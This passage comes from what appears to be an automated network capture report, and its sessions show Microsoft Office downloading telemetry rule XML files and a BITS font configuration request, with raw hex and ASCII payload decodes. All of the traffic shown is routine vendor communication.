2024-11-19 19:05:35 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-19 19:05:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-185f5d8b95c96jn4hC1NYCbgp8000000095g00000000b0ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-185f5d8b95cwtv72hC1NYC141w00000008y00000000107gy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-185f5d8b95cp7lkfhC1NYC7rpw00000009500000000125ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-1777c6cb754dqb2khC1TEBmk1s00000008fg00000000btpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-1777c6cb754n67brhC1TEBcp9c00000008kg00000000b1d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	52385	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-1777c6cb754rz2pghC1TEBghen00000008eg000000007p21 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	52386	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-r1d97b99577tssmjhC1TEB8kan00000007pg00000000ay5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	52384	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 19:05:35 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=77950 Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-19 19:05:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	52388	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-1777c6cb754gvvgfhC1TEBz4rg00000008hg00000000f70v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	52389	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-185f5d8b95cgrrn8hC1NYCgwh4000000091g0000000089yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:35 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	52390	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:35 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190535Z-r1d97b99577sdxndhC1TEBec5n00000007u000000000npf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	52391	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:36 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190536Z-r1d97b9957747b9jhC1TEBgyec00000007w000000000ct24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
